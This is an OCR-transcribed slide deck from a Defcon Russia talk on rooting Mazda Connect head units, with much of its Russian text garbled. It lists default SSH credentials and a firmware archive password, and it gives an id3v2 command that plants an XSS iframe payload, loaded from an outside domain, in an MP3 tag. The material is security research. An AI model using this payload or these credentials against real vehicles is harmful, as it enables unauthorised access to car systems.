Pwning Mazda
Connectivity Master Unit

[MepBbi MnumaH



Connectivity Master Unit

 Mazda Connect | (<2021, 70.00.XX)

USB port

*KapTUHKN U3 UHTEPHETOB
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& 1 BT ayauo - 521

J Mopckas 6onesms
X Mymuii Tponne
Mopckas

*KapTUHKKN He N3 MHTEPHETOB
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CD CONNECTOR

¥

CX-5 2016 FACTORY NAVIGATION UNIT

UNIT POWER
AUDIO.AMPLIFIER

CX-5 HU WITH AUDIO BOSE

CANBUS.CAMERA 7

*KapTUHKN U3 UHTEPHETOB
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*KapTUHKN U3 UHTEPHETOB
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Mazda Connect |

By JCI (Johnson Controls)
Freescale i.MX6Q (Cortex-A9)
ARM

Linux

Wifi, Bluetooth, FM, ...



Hy»eH root

3anTtn yepes USB
3aUTK MO CeTH

3anTn Yyepes serial port
[MaTunTb daew

[lpoyne onunu

https://gitlab.com/mzdonline



3anTn yepe3 USB

USB Keyboard

* Try autorun
* Bypass kiosk mode

https://www.youtube.com/watch?v=M-iJLuxwfzU
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3anTn Yyepes USB

oy AL

USB Keyboard

* Try autorun
* Bypass kiosk mode all default staff

https://www.youtube.com/watch?v=M-iJLuxwfzU
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PeXXm ANarHOCTUKU

1 ALUDIC BUTTON HOME BUTTON  MAV BUTTON

1+ 2+3aatb 3=
= magic!?

BACHK BUTTON

2 FAVORITE BUTTON
COMMANDER KNOB

https://www.youtube.com/watch?v=M-iJLuxwfzU
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{F4

OCG 2
PeXXnm ANarHOCTUKMU

1 3a)KaTb + 2 3a)KaTb = magic!?
N .7 - B

@& O O6HoBA.cuCT

Bepcua OC 70.00.352 EU N

Bepcus 6a3bl faHHbIX My3biku 00.09.000

OTkasoycTon4msas sepcus: 70.00.352.

B ——— I————————e e

—

OK

https://www.youtube.com/watch?v=M-iJLuxwfzU
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PeXXnm ANarHOCTUKMU
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PeXXm ANarHOCTUKU

Test Screen

JCI_TESTID1 - Not Started

1 2 3
- 5 6
7 8 5
0 DEL ENTER CLEAR EXIT




PeXXm ANarHOCTUKU

Test Screen

JCI_TESTID1 - Not Started

1 2
4 5
7 8
0 DEL ENTER || CLEAR EXIT




Lk

OCG
PeXXmm aAnarHocTuku. Yto ecnmn?

Test Screen

Choose a script you would like to run.

I RESET VIP ‘ ‘ USB DRIVER ‘ ‘ TAUSIM TOGGLE

I TERMINAL WIFI AP TOGGLE USERTTYTOGGLE‘

Previous Next




3anUTU No ceTu

Wi-Fi

CMU-XKXOXXXXXX XX
192.168.53.x IP:192.168.53.1

* SSH on Port 36000
e User:cmu
* Password: jci

https://gitlab.com/mzdonline
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3anUTU No ceTu

ol FAL

CMU-XKXOXXXXXX XX
192.168.53.x IP:192.168.53.1

# cat /etc/ssh/sshd_config

PasswordAuthentication no
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3anTun Yyepes serial port

https://mazdatweaks.com/serial/
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Se retirdan lo
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https://www.youtube.com/watch?v=m L6tzFoQ80
https://www.drive2.ru/I/500950417950114064/
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https://www.youtube.com/watch?v=m_L6tzFoQ80

Mazda Connect |

Eim = L
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https://www.youtube.com/watch?v=m_L6tzFoQ80

Nwem cmeLllHYo TpeTbio onuunio

Kayaem obHOBNEHME NMPOLLUNBKU
PacnakoBbiBaem

N3yyaem

Jlomaem?

Profit!

Oc

b




JaE

OCG
O6HoOBNEHME NPOLUNBKNA

» Zip apxus c naponem 5X/9vAVhovyU2ygK
* [lognncaH SHA256 + RSA 2048
* BHyTpuU TpM TMNA pannos B gzip

— versions.ini

— execute.ini / files.ini
— eXXXXXX.dat



execute.ini

Settings

[Instructions]
Count = 7
: Copy, "e0000000001.dat", "update-bootstrap.sh”
= Copy, "e00000000O2.dat","ibc-cmu-bootstrap.bin™
= Execute, "echo Start updating bootstrap partition ===

= Execute,"/tmp/update-bootstrap.sh /tmp/ibc-cmu-bootstrap.bin™

= Execute, "echo Finished updating bootstrap partition
= Remove, "update-bootstrap.sh”

= Remove,"ibc-cmu-bootstrap.bin”




bin
bootchart

config
config-mfg

BHYTpU Linux

data etc mnt sbin var
data_persist jci s]gle]e I
dev 1lib resources tmp
€0000000001.tar media root usr

[Mone3HaA Harpyska



dataretrieval
dbapi
devicemanager
devices

devmgr
driverid
dsp

dtmf

dvd

eem

fav
fonts
gracenote
gui

home

idm

igs
integration
ira

irs

itt

jci

jvmm
keys

lds

lib

lvds
lvds_blm
mmui

msg

BHYTpU Linux

nativegui

natp
navi
nfcs

nms

nng
offboard
opera

pa

s]s)

pbk
power
radio
reflash
resources
rm
scripts
settings
slayall
sm

smdb
SXms
system
tds
teseoreflash
testapp

testdiag
time
tools
traffic
trfs
ttsplayer
tv

usbdtc
usbm
usbmgr
utils

vbs

vcm

vdt
vdtcon
version.ini
videoctrl
vim

vui

vwm

Xm
xmaudio
xmdata
xmmgr

POINTS
OF
INTEREST




RaK ycTpoeH Ul
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GUI

JavaScript
2012-2014 ropa

Framework noBepx WebSockets

YTOo MOXKeT NONTU He TaK?




GUI

NowPlaying4Ctrl.prototype. setInnerTextOrHTML = function(elt, txt)

{
if (elt)
{
if (txt)
{
if(utility.toType(txt) == 'string')
{

var spanCloseldx = txt.search("</span>");
if (spanCloseldx »>= 9)

{

elt.innerHTML txt;

}

else

{

elt.innerText

txt;




Netwc!

You tried to

|

Could not open file

You tried to access the 0g htm|?

iddress file pen ialog

%20Alert&message=l calhost&inputs=3%EFKBFKBD%EF

HBD&buttons=ok&remember=false&cartificates=%EF
B D%E FREFPRBD, which is currently unavailable

Please make sure that the web address (URUNS corFsettyspeilieand

| ()
punctuated, then try reloading the page i)

Need help?

OPCn the 1_’};“,! | Hn)"i'

Go to Opera's online suppert desk

Defcon Russia (DCG #7812)
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Patched GUI

TestCtrl.prototype. testhandler = function(e)

{
this.properties.longPressCallbaeck(this, this.properties.appData, null);

this.btnExit.innerText = this.properties.buttonValue;

Ypoanunu Ko aktusaumm JCI Test Mode



B mmui JCI Test Mode Ha mecTe

= IDA View-A (E Pseudocode-A B [©] Hex View-1 [&] Structures [ Enums B2 I
1| DWORD *__fastcall GUIIFM_Process_Diag_Events(_DWORD *result)
2{
3| _DWORD *v1; // r4
4 int v2; // re
5| _DWORD *v3; // r@
5| int va4; // re
7| int v5; // r5
8 int ve; // re
9| int v7; // re
1@
11| v1 = result;
12| if ( result && !*result )
13| {
14 v2 = GJS_SearchById(5);
15 v32 = (_DWORD *)json_object_get(vl, v2);
16 if ( v3 && *v3 == 2 )
17 {
18 v4 = json_string value();
19 v5 = UIA_DIAG_StrToEventId(v4);
28 switch ( vs )
21 {
22 case 1400:
23 result = (_DWORD *)GUIIFM_Process_Diag ActivateDTC_Evt(vl);
24 break;
25 case 1401:
26 result = (_DWORD *)GUIIFM_Process_Diag_ ActivatelCITest_Evt(vl);
27 break;

Defcon Russia (DCG #7812) 31



Let’s trigger it

S id3v2 -2 -t '</span><iframe
src=http://some.domain/zz.html|

onload="eval(this.contentWindow.name)"></iframe>
<Span>l _a Ilall _A 1na
ml.mp3



http://ctfti.me/zz.html

DEMO TIME! ©



Qr
MOXHO nn cTpurrepuTb Yepes FM?

MOHO NN OTK/IFOYUTb aCCUCTEHT NOAOCHI?

Mo*Ho nn aAyHYyTb B CAN?



